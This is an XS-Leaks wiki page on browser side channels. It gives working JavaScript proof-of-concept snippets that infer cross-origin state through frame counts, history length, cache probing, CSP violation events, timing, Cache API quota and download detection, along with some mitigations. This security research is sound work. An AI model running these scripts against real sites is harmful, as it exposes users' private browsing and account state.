-
Notifications
You must be signed in to change notification settings - Fork 47
Browser Side Channels
There is a new updated & refreshed wiki github.com/xsleaks/wiki rendered at xsleaks.dev
There are a few well known DOM APIs that leak cross origin information.
A refreshed article is available here
The Window DOM API documents how to traverse across cross origin windows (under other browsing contexts). One of these is the number of frames in the document (window.length).
let win /*Any Window reference, either iframes, opener, or open()*/;
win.frames.length;
In some cases, different states have the same number of frames, preventing us from classifying them correctly.
In those cases, you can try continuously recording the frame count, as it can lead to a pattern you might be able to use, either for timing certain milestones or detecting anomalies in the frame count during the application loading time.
const tab = window.opener; // Any Window reference
const pattern = [];
tab.location = 'https://target';
const recorder = setInterval(() => pattern.push(tab.frames.length), 0);
setTimeout(() => {
clearInterval(recorder);
console.log(pattern);
}, 6 * 1000);
A refreshed article is available here
The History DOM API documents that the history object can know how many entries there are in the history of the user. This leak can be used to detect when a cross-origin page had some types of navigations (eg, those via history.pushState or just normal navigations).
Note that for detecting navigations on pages that can be iframed, it is possible to just count how many times the onload event was triggered (see Frame timing), in cases when the page can't be inside a frame, then this mechanism can be useful.
history.length; // leaks if there was a javascript/meta-refresh redirect
A refreshed article is available here
For most HTML elements that load subresources have error events that are triggered in the case of a response error (eg, error 500, 404, etc) as well as parsing errors.
One can abuse this, in two ways:
- By checking if a user has access to a specific resource (example).
- By checking if a user has loaded a specific resource in the past (by forcing an HTTP error unless the resource is cached).
A refreshed article is available here
One way to "force" an error when fetching a subresource (unless cached), is by forcing the server to reject the request based on data that isn't part of the cache key. There are several ways to do this, for example:
- If the server has a Web Application Firewall, one can trigger a false positive (for example, one could try to force the server to trigger DoS protection by doing many network requests in a short period of time).
- If the server has a limit on the size of an HTTP Request, one can set a very long HTTP Referrer, so that when the URL is requested, the server rejects it.
Since the browser would only issue an HTTP request if there isn't something already in the cache, then one can notice that:
- If the image/script/css loads without errors, then that must mean that it comes from the cache.
- Otherwise, it must have come from the network (Note that one can also use timing to figure this out.)
Cache probing is a well known attack, and some browsers have been looking into having separate cache storage for each origin, but no other solution is currently available.
For demonstration purposes, here is some example code using overlong HTTP referrer.
<iframe id=f></iframe>
<script>
(async ()=>{
let url = 'https://otherwebsite.com/logo.jpg';
// Evict this from the cache (force an error).
history.replaceState(1,1,Array(16e3));
await fetch(url, {cache: 'reload', mode: 'no-cors'});
// Load the other page (you can also use <link rel=prerender>)
// Note that index.html must have <img src=logo.jpg>
history.replaceState(1,1,'/');
f.src = 'http://otherwebsite.com/index.html';
await new Promise(r=>{f.onload=r;});
// Check if the image was loaded.
// For better accuracy, use a service worker with {cache: 'force-cache'}
history.replaceState(1,1,Array(16e3));
let img = new Image();
img.src = url;
try {
await new Promise((r, e)=>{img.onerror=e;img.onload=r;});
alert('Resource was cached'); // Otherwise it would have errored out
} catch(e) {
alert('Resource was not cached'); // Otherwise it would have loaded
}
})();
</script>
The CSP's Violation DOM Event object created when a CSP violation happens includes a blocked host. This leak can be used to know which domain a cross-origin page redirects to.
<meta http-equiv="Content-Security-Policy" content="default-src 'unsafe-inline' example.com">
<script>
document.addEventListener('securitypolicyviolation', e => {
// goes through here if a 3xx redirect to another domain happened
console.log(e.blockedURI);
});
fetch('https://example.com/redirect', {mode: 'no-cors',credentials: 'include'});
</script>
Images, Videos, Audio and a few other resources allow for measuring their duration (in the case for video and audio) and size (for images).
A refreshed article is available here
For timing we have to consider two factors:
- A consequence to observe in another window/origin (eg, network, javascript, etc).
- A mechanism to measure the time that passed.
To defend against these attacks, browsers try to limit the amount of information leaked across windows/origins, and in some cases, also try to limit the accuracy of different mechanisms for measuring time.
Refreshed articles are available here
The most common used mechanisms for measuring time are:
Refreshed articles are available here
This type of measurement can be mitigated with same-site cookies in strict mode (for GET requests), or in lax mode (for POST requests). Using same-site cookies in lax mode is not safe, as it can be bypassed by timing navigation requests.
let before = performance.now()
await fetch("//mail.com/search?q=foo")
let request_time = performance.now() - before
A refreshed articles is available here
In chrome the number of HTTP requests made by another window/document can be calculated using the network pool. To do this, the attacker needs two windows/documents.
Window A:
- Wait for a click to open window B
Window B:
- Exhaust all sockets except one by performing 255 fetch operations to different domains. The webserver will sleep for 30 seconds before replying to the request.
- Redirect window.opener to the target url that we want to time
- fetch('//attacker.com') in a loop and time how long the request took
Refreshed articles are available here
These techniques are used for measuring the time it takes a navigation request to load.
This is useful for measuring the time it takes a GET request to load if protected by same-site cookies in lax mode. This can be mitigated with same-site cookies in strict mode.
A refreshed articles is available here
This mechanism waits until all subresources finish loading. Note that in pages that set the X-Frame-Options
header, this mechanism can only be used for measuring the network request, because subresources are not measured. Note that the difference between onerror
and onload
is often also important, as well as the number of times each event is triggered, as that reveals how many navigations happened inside the iframe.
<iframe name=f id=g></iframe>
<script>
h = performance.now();
f.location = '//mail.com/search?q=foo';
g.onerror = g.onload = ()=>{
console.log('time was', performance.now()-h)
};
</script>
Refreshed articles are available here and here
This mechanism is only useful when a page uses X-Frame-Options
and one is interested on the subresources being loaded, or in the javascript code executing for other attacks (such as establishing the starting time for cross-document request timing or multi-threaded JavaScript).
To protect against this types of attacks one might be able to use Cross-Origin-Opener-Policy in the future.
let w=0, z=0, v=performance.now();
onmessage=()=>{
try{
if(w && w.document.cookie){
// still same origin
}
postMessage('','*');
}catch(e){
z=performance.now();
console.log('time to load was', v-z);
}
};
postMessage('','*');
w=open('//www.google.com/robots.txt');
*A refreshed article is available here
Measuring JavaScript execution can be useful for understanding when certain events are triggered, and how long some operations take.
Examples:
In browsers other than Chrome, all JavaScript code (even cross-origin) runs in the same thread, which means that one can measure for how long code runs in another origin by measuring how long it takes for code to run next in the event pool.
A refreshed article is available here
In Chrome, every site runs in a different process, and every process has their own thread, which means that in order to measure the timing of JavaScript execution in another thread, we have to measure it in a different way. One way to do this is by:
- Register a service worker on the attacker's origin.
- Opening the target window, and detect when the document is loaded (using cross window timing)
- In an interval attempt to navigate the window away in the event loop to a page that will be caught by the service worker.
- When the request is received, remember the current time, and return with a 204 response.
- Measure how long it took for the navigation to be requested, to the request to the service worker to arrive.
Some times considered a vulnerability by browsers, and some times measured with timing. Regardless, it is some times possible to (incidentally) defend against this types of attacks by using CORB, and CORP. As their implementation also breaks some of the APIs.
Examples:
Current public mechanism to learn size of cross-site requests is with Flash.
By abusing the Cache API and the quota a single origin receives, it's possible to measure the size of a single response. To protect against this attack browsers add random noise to the quota calculation.
- Firefox adds a random number up to 100kB and reduces accuracy to the closest 20kB (code).
- Chrome adds a random number up to 14,431K (code).
One can still perform the attack with the noise added, although it requires a lot more requests.
A refreshed article is available here
By abusing the Cache API, and the browser's cache, one can measure how long it takes for a simple request to be loaded from the different levels of caching. Assuming a longer response will take longer to load. By abusing techniques (such as "inflating" the response size), one can make the difference through timing more measurable.
caches.open("cache").then((cache) => {
fetch("https://example.org", {
mode: "no-cors",
credentials: "include"
}).then((response) => {
var start = performance.now();
cache.put(new Request("leak"), response.clone()).then(() => {
var end = performance.now();
console.log(end - start);
});
});
});
If one can trigger and detect an XSS filter false positive, then one can figure out the presence of a specific element. This means that if it is possible to detect whether the filter triggered or not, then we can detect any difference in the elements blocked by XSS filters across two pages. It is easier to detect the XSS filter when it is enabled in blocking mode, as that blocks the loading of the page and all its subresources, making all browser side channels more obvious.
A refreshed article is available here
One way to detect the XSS filter (in blocking mode) has triggered can be done by counting the number of times a navigation happens when changing the location.hash
.
-
Frame timing - if a website can be put inside an iframe (that is, it has no
X-Frame-Options
), then one can count how many times the load event happened after a navigation to the same URL with a differentlocation.hash
. If the XSS filter triggered, then the number will be 2, otherwise it will be 1. -
Cross-window timing - if the website can't be put inside an iframe, then one can do the same attack by timing how long it takes for a navigation to happen. Since
location.hash
changes don't trigger network requests, then by navigating the page to a URL with a differentlocation.hash
, then navigating it toabout:blank
, then triggeringhistory.back()
, if that triggers a network request -
History length - same as before, but this works using
history.length
. By changing the location of another window quickly, before the browser has a chance to make a navigation, but enough time to change thelocation.hash
, one can count how many entries exist in thehistory.length
(3 for when the filter did not trigger, and 2 when it did).
Example code for history length attack.
let url = '//victim/?falsepositive=<script>xxxxx=1;';
let win = open(url);
// Wait for the window to be cross-origin
await new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1));
// Change the location
win.location = url + '#';
// Skip one microtask
await Promise.resolve(1);
// Change the location to same-origin
win.location = 'about:blank';
// Wait for the window to be same-origin
await new Promise(r=>setInterval(()=>r(win.document.defaultView),1));
// See how many entries exist in the history
if (win.history.length == 3) {
// XSS auditor did not trigger
} else if (win.history.length == 2) {
// XSS auditor triggered
}
A refreshed article is available here
Some endpoints respond with a content disposition header set to "attachment", forcing the browser to download the response as a file. In some cases, the ability to detect whether or not a file was downloaded on a certain endpoint can leak information about the current user.
A refreshed article is available here
When a Chromium based browser downloads a file, a bottom bar is integrated into the browser window. By monitoring the window height we could detect whether or not the "downloads bar" opened.
// Any Window reference (can also be done using an iframe in some cases)
const tab = window.opener;
// The current window height
const screenHeight = window.innerHeight;
// The size of the chrome download bar on mac os x
const downloadsBarSize = 49;
tab.location = 'https://target';
setTimeout(() => {
let margin = screenHeight - window.innerHeight;
if (margin === downloadsBarSize) {
return console.log('downloads bar detected');
}
}, 5 * 1000);
A refreshed article is available here
Another way to test for the content-disposition: attachment header is to check if a navigation redirected the page. At least in Chrome, if a page load triggers a download, it will not trigger the navigation.
The leak will work roughly like this:
- open a new window and load evil.com
- navigate the window to //vimctim/maybe_download
- after a timeout, check if the window is still same-origin
There is another way to detect whether the download attempt happened without using any timeouts, that can be helpful to perform hundreds of requests at the same time without worrying about unprecise timings.
The observation is that even though the download attempt doesn't trigger an onload
event the window still "waits" for the resource to be downloaded. Therefore, one could include an iframe inside an iframe to detect window.onload
, and then since download doesn't trigger navigation the iframe will point to about:blank
, hence, it is possible to differentiate the origin.
onmessage = e => console.log(e.data);
var ifr = document.createElement('iframe');
var url = 'http://bug.bounty/Examples/file.php';
ifr.src = `data:text/html,\
<iframe id='i' src="${url}" ></iframe>
<script>onload=()=>{
try{
i.contentWindow.location.href;
top.postMessage('download attempt','*');
}catch(e){
top.postMessage('no download','*');
}
}%3c/script>`;
ifr.onload = ()=>{ifr.remove();}
document.body.appendChild(ifr);
A refreshed article is available here
A server-side redirect can be detected from a cross-origin page when the destination URL increase in size and reflects a user input, either in the form of a query string parameter or a path.
The following technique relies on the fact it is possible to induce an error in most web-servers by overloading the request parameters/path.
Since the redirect increases the size of the URL, it can be detected by sending exactly one character less than the server maximum capacity, that way, if the size increases the server will respond with an error code which can be detected from a cross-origin page using common DOM APIs.